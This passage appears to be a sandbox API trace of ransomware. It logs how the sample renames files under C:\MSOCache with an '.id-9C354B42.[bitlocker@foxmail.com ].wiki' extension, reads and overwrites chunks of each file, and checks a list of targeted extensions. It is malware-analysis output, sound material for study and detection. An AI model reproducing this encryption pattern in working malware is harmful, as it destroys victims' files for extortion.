users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab")) returned 0x2020 [0058.540] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0058.540] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0058.540] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0058.540] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0058.540] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0058.540] ReadFile (in: hFile=0x20c, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.546] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0058.546] ReadFile (in: hFile=0x20c, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.551] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0058.551] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0058.551] ReadFile (in: hFile=0x20c, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.836] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.836] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0058.853] SetEndOfFile (hFile=0x20c) returned 1 [0058.853] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0058.853] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0058.853] WriteFile (in: hFile=0x20c, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.854] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0058.854] WriteFile (in: hFile=0x20c, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.857] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0058.857] WriteFile (in: hFile=0x20c, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.859] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0058.859] CloseHandle (hObject=0x20c) returned 1 [0058.859] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0058.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0058.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0058.859] lstrlenW (lpString=".doc") returned 4 [0058.859] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0058.859] lstrlenW (lpString=".docx") returned 5 [0058.859] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0058.859] lstrlenW (lpString=".pdf") returned 4 [0058.859] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0058.859] lstrlenW (lpString=".xls") returned 4 [0058.859] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0058.860] lstrlenW (lpString=".xlsx") returned 5 [0058.860] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0058.860] lstrlenW (lpString=".ppt") returned 4 [0058.860] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0058.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0058.860] lstrlenW (lpString=".zip") returned 4 [0058.860] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0058.860] lstrlenW (lpString=".rar") returned 4 [0058.860] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0058.860] lstrlenW (lpString=".bz2") returned 4 [0058.860] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0058.860] lstrlenW (lpString=".7z") returned 3 [0058.860] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0058.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0058.860] lstrlenW (lpString=".dbf") returned 4 [0058.860] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0058.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0058.860] lstrlenW (lpString=".1cd") returned 4 [0058.860] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0058.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0058.860] lstrlenW (lpString=".jpg") returned 4 [0058.860] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0058.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0058.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0058.860] lstrlenW (lpString=".doc") returned 4 [0058.860] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0058.860] lstrlenW (lpString=".docx") returned 5 [0058.860] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0058.860] lstrlenW (lpString=".pdf") returned 4 [0058.860] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0058.860] lstrlenW (lpString=".xls") returned 4 [0058.860] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0058.860] lstrlenW (lpString=".xlsx") returned 5 [0058.860] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0058.860] lstrlenW (lpString=".ppt") returned 4 [0058.860] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0058.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0058.861] lstrlenW (lpString=".zip") returned 4 [0058.861] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0058.861] lstrlenW (lpString=".rar") returned 4 [0058.861] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0058.861] lstrlenW (lpString=".bz2") returned 4 [0058.861] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0058.861] lstrlenW (lpString=".7z") returned 3 [0058.861] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0058.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0058.861] lstrlenW (lpString=".dbf") returned 4 [0058.861] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0058.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0058.861] lstrlenW (lpString=".1cd") returned 4 [0058.861] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0058.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0058.861] lstrlenW (lpString=".jpg") returned 4 [0058.861] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0058.861] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0058.861] lstrlenW (lpString="osetup.dll") returned 10 [0058.861] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0058.981] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7378792) returned 1 [0058.981] CloseHandle (hObject=0x188) returned 1 [0058.981] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0058.981] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0058.981] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0058.981] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0058.981] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0058.982] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0058.982] ReadFile (in: hFile=0x188, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.986] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0058.986] ReadFile (in: hFile=0x188, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.988] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0058.988] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0058.988] ReadFile (in: hFile=0x188, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.013] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.013] WriteFile (in: hFile=0x188, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0060.024] SetEndOfFile (hFile=0x188) returned 1 [0060.024] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0060.027] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0060.027] WriteFile (in: hFile=0x188, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.028] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0060.028] WriteFile (in: hFile=0x188, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.030] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0060.030] WriteFile (in: hFile=0x188, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.032] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0060.032] CloseHandle (hObject=0x188) returned 1 [0060.032] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0060.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.032] lstrlenW (lpString=".doc") returned 4 [0060.032] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.032] lstrlenW (lpString=".docx") returned 5 [0060.032] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0060.032] lstrlenW (lpString=".pdf") returned 4 [0060.032] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.032] lstrlenW (lpString=".xls") returned 4 [0060.032] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.032] lstrlenW (lpString=".xlsx") returned 5 [0060.032] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0060.032] lstrlenW (lpString=".ppt") returned 4 [0060.032] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.033] lstrlenW (lpString=".zip") returned 4 [0060.033] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.033] lstrlenW (lpString=".rar") returned 4 [0060.033] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.033] lstrlenW (lpString=".bz2") returned 4 [0060.033] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.033] lstrlenW (lpString=".7z") returned 3 [0060.033] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.033] lstrlenW (lpString=".dbf") returned 4 [0060.033] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.033] lstrlenW (lpString=".1cd") returned 4 [0060.033] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.033] lstrlenW (lpString=".jpg") returned 4 [0060.033] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.033] lstrlenW (lpString=".doc") returned 4 [0060.033] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.033] lstrlenW (lpString=".docx") returned 5 [0060.033] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0060.033] lstrlenW (lpString=".pdf") returned 4 [0060.033] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.033] lstrlenW (lpString=".xls") returned 4 [0060.033] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.034] lstrlenW (lpString=".xlsx") returned 5 [0060.034] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0060.034] lstrlenW (lpString=".ppt") returned 4 [0060.034] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.034] lstrlenW (lpString=".zip") returned 4 [0060.034] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.034] lstrlenW (lpString=".rar") returned 4 [0060.034] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.034] lstrlenW (lpString=".bz2") returned 4 [0060.034] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.034] lstrlenW (lpString=".7z") returned 3 [0060.034] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.034] lstrlenW (lpString=".dbf") returned 4 [0060.034] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.034] lstrlenW (lpString=".1cd") returned 4 [0060.034] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.034] lstrlenW (lpString=".jpg") returned 4 [0060.034] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.034] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0060.035] lstrlenW (lpString="VisiorWW.cab") returned 12 [0060.035] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0060.035] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=195011319) returned 1 [0060.035] CloseHandle (hObject=0x188) returned 1 [0060.035] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab")) returned 0x2020 [0060.035] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.035] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0060.036] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0060.036] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0060.036] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0060.036] ReadFile (in: hFile=0x188, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.044] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0060.045] ReadFile (in: hFile=0x188, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.051] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0060.051] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0060.051] ReadFile (in: hFile=0x188, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.322] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.322] WriteFile (in: hFile=0x188, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0060.336] SetEndOfFile (hFile=0x188) returned 1 [0060.336] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0060.422] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0060.422] WriteFile (in: hFile=0x188, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.422] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0060.422] WriteFile (in: hFile=0x188, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.424] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0060.424] WriteFile (in: hFile=0x188, lpBuffer=0x40654f0*, 